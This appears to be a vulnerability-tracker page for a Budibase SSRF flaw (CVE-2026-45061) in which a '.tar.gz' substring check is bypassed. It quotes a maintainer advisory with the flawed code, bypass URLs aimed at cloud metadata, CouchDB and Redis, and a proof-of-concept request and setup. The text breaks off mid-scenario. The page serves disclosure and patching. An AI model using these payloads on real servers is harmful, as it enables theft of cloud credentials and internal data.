---
id: "CVE-2026-45061"
page: "https://infrastack.ai/live/CVE-2026-45061"
kind: "vulnerability"
aliases: ["CVE-2026-45061", "GHSA-xh5j-727m-w6gg"]
title: "Budibase vulnerable to SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload (`/api/plugin`)"
severity: "high"
cvss: 7.7
epss: 0.00263
exploited: false
status: "open"
category: "package"
products: [{"name": "budibase", "fixed": ["3.35.10"], "affected": "<= 3.34.11", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["budibase", "cwe-918", "low-privilege-builder", "package", "self-hosted"]
not_affected_if: ["default-config", "fixed-version", "managed-hosting"]
published_at: "2026-05-11T16:20:27+00:00"
first_seen_at: "2026-11-05T21:44:25+00:00"
updated_at: "2026-11-05T21:45:26+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-xh5j-727m-w6gg", "first_seen_at": "2026-11-05T21:44:25+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45061", "first_seen_at": "2026-11-05T22:16:01+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00263, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-45061"}]
---

# Budibase vulnerable to SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload (`/api/plugin`)

Link for people: https://infrastack.ai/live/CVE-2026-45061 (this .md is for agents)

Budibase's plugin URL upload only checks that the string contains ".tar.gz", so a crafted URL reaches internal hosts. An attacker with Global Builder access can make the server fetch internal addresses such as cloud metadata or CouchDB, and may read the response.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:budibase affected <= 3.34.11 fixed 3.35.10

## How to check

- Check the installed Budibase version: `budibase/budibase` image tag or the server package version; affected if at or below `3.34.11`.
- Confirm whether `BLACKLIST_IPS` is set to an empty value on the deployment.

## Fix

- Budibase `3.35.10` (fixed version per the product data).

## Timeline

- 2026-11-05T21:44:25+00:00 ghsa https://github.com/advisories/GHSA-xh5j-727m-w6gg
- 2026-11-05T22:16:01+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-45061

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/Budibase/budibase/security-advisories/GHSA-xh5j-727m-w6gg
- [advisory] Maintainer's advisory: github.com https://github.com/Budibase/budibase/security/advisories/GHSA-xh5j-727m-w6gg
- [fix] Patch: github.com https://github.com/Budibase/budibase/commit/fc659c9cb61af067daec8610219c75eb3fd7c34d

## From the sources

## 1. Summary

| Field | Value |
|-------|-------|
| **Title** | SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload |
| **Product** | Budibase (Self-Hosted) |
| **Version** | ≤ 3.34.11 (latest stable as of 2026-03-30) |
| **Component** | `packages/server/src/api/controllers/plugin/url.ts` |
| **Vulnerability Type** | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs |
| **Severity** | High (chained) / Medium (standalone) |
| **CVSS 3.1 Score (chained)** | 7.7 — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` |
| **CVSS 3.1 Score (standalone)** | 5.4 — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` |
| **Attack Vector** | Network |
| **Privileges Required** | Low (Global Builder role) |
| **User Interaction** | None |
| **Affected Deployments** | All Budibase instances with plugin loading enabled (default) |

---

## 2. Description

The Plugin URL upload endpoint (`POST /api/plugin`) validates the submitted URL with a single substring check: `url.includes(".tar.gz")`. Any URL containing `.tar.gz` anywhere in the string — in the path, query string, or fragment — passes this check. The URL then proceeds directly to `fetchWithBlacklist()` with no further validation of host, scheme, or path.

Standalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the `BLACKLIST_IPS` bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default `node-fetch` behavior with `redirect: 'follow'`).

The developer team's own test suite (`objectStore.spec.ts:393`) tests that `downloadTarballDirect` passes through `fetchWithBlacklist` — confirming they're aware of the SSRF risk on this path. The `.tar.gz` substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is.

---

## 3. Root Cause Analysis

### 3.1 Trivial substring-based URL validation

**File**: `packages/server/src/api/controllers/plugin/url.ts`

```typescript
// Lines 7-19
export async function urlUpload(url: string, name = "", headers = {}) {
  if (!url.includes(".tar.gz")) {
    // ← ONLY validation: any URL with ".tar.gz" anywhere passes
    throw new Error("Plugin must be compressed into a gzipped tarball.")
  }

  const path = await downloadUnzipTarball(url, name, headers)
  // ↑ url is passed directly — no host allowlist, no scheme check, no path normalization
  try {
    return await getPluginMetadata(path)
  } catch (err) {
    deleteFolderFileSystem(path)
    throw err
  }
}
```

**Problem**: `url.includes(".tar.gz")` checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that `.tar.gz` appears as an actual file extension at the end of the path.

### 3.2 Bypass examples

| Attack URL | `includes(".tar.gz")` | Actual request target |
|------------|----------------------|----------------------|
| `http://169.254.169.254/.tar.gz` | ✅ passes | AWS IMDS |
| `http://127.0.0.1:4005/_session.tar.gz` | ✅ passes | CouchDB |
| `http://10.0.0.1:6379/.tar.gz` | ✅ passes | Redis |
| `http://attacker.com/file.tar.gz?x=http://internal/` | ✅ passes | Redirect to internal |
| `http://internal-host/.tar.gz#fragment` | ✅ passes | Internal service |

### 3.3 Developer awareness of SSRF risk on this path

**File**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts`

```typescript
// Line 393
it("uses fetchWithBlacklist in downloadTarballDirect", async () => {
  downloadTarballDirect("http://169.254.169.254/metadata/v1/", "tmp")
  // ← team explicitly tests that IMDS is blocked via blacklist
})
```

The team knows this code path can reach IMDS. They rely on `fetchWithBlacklist` as the defense — but never tested the `.tar.gz` substring bypass that trivially routes around it at the URL validation layer.

### 3.4 Authorization model

| Operation | Endpoint | Required Permission |
|-----------|----------|---------------------|
| Plugin URL upload | `POST /api/plugin` | Global Builder |

**Key insight**: The plugin endpoint is behind `globalBuilderRoutes`, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances.

---

## 4. Impact Analysis

### 4.1 Confidentiality — High (chained) / Low (standalone)

When chained with [001] (`BLACKLIST_IPS` bypass):
- **AWS/GCP/Azure IMDS** (`169.254.169.254`) — IAM credentials, service account tokens
- **CouchDB** (`127.0.0.1:4005`) — application databases, user records
- **Redis** (`127.0.0.1:6379`) — session tokens
- **Internal network services** (`172.16.0.0/12`, `10.0.0.0/8`)

Standalone (with default blacklist active):
- **Open redirect chains** — if the plugin server follows redirects from external URLs to internal IPs, the blacklist check on the original URL does not protect against the redirected destination. This depends on `node-fetch` redirect behavior and whether `fetchWithBlacklist` re-checks the redirected URL.

### 4.2 Integrity — None (GET-only path)

The plugin URL upload uses GET-only semantics via `fetchWithBlacklist`. No write operations to internal services via this path.

### 4.3 Availability — None

No service disruption.

### 4.4 Scope Change (chained)

Same as [001]: crosses application → infrastructure boundary when combined with the blacklist bypass.

---

## 5. Proof of Concept

> **Verification status**: Code-level confirmed. End-to-end Docker test pending.
> PoC files are ready: `poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py` + `docker-compose.yml`

### 5.1 Environment Setup

```bash
# poc/004_plugin_url_ssrf/docker-compose.yml
services:
  budibase:
    image: budibase/budibase:latest
    environment:
      SELF_HOSTED: "1"
      BLACKLIST_IPS: ""          # ← enables chained SSRF (001)
      JWT_SECRET: "poc_jwt_secret"
      BB_ADMIN_USER_EMAIL: "poc@budibase.com"
      BB_ADMIN_USER_PASSWORD: "pocPassword123!"
    ports: ["10000:10000"]

  victim:
    image: python:3.11-alpine
    command: python -m http.server 8888
```

```bash
cd poc/004_plugin_url_ssrf
docker-compose up -d
python3 poc_004_plugin_url_ssrf.py --target http://localhost:10000
```

### 5.2 Step 1 — Bypass the `.tar.gz` check with a crafted URL

```http
POST /api/plugin HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<builder-session-cookie>
Content-Type: application/json

{
  "source": "URL",
  "url": "http://victim:8888/.tar.gz",
  "name": "poc-test"
}
```

The `url.includes(".tar.gz")` check passes because `.tar.gz` appears in the path. The URL `http://victim:8888/.tar.gz` is not a valid tarball — but the string check doesn't know that.

### 5.3 Step 2 — Expected response (SSRF confirmed)

**With blacklist active (default config):**
```json
{ "message": "Failed to import plugin: URL is blocked or could not be resolved safely." }
```

**With `BLACKLIST_IPS=""` (chained with 001):**
```json
{ "message": "Failed to import plugin: incorrect header check" }
```

The `"incorrect header check"` error (zlib decompressor receiving HTTP response headers) proves the request reached `victim:8888`. The `.tar.gz` substring check was bypassed, and the HTTP fetch completed.

### 5.4 Additional bypass payloads tested (code-level only)

| URL | Check bypass | Intended target |
|-----|-------------|-----------------|
| `http://169.254.169.254/.tar.gz` | ✅ | AWS IMDS |
| `http://127.0.0.1:4005/_session.tar.gz` | ✅ | CouchDB |
| `http://127.0.0.1:6379/.tar.gz` | ✅ | Redis |
| `http://attacker.com/real.tar.gz` (redirects to `http://10.0.0.1/`) | ✅ | Internal via redirect |

---

## 6. Attack Scenarios

### Scenario A — Chained with [001]: AWS IMDS credential theft

```
1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001)
2. Builder user sends:
   POST /api/plugin { "source"

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
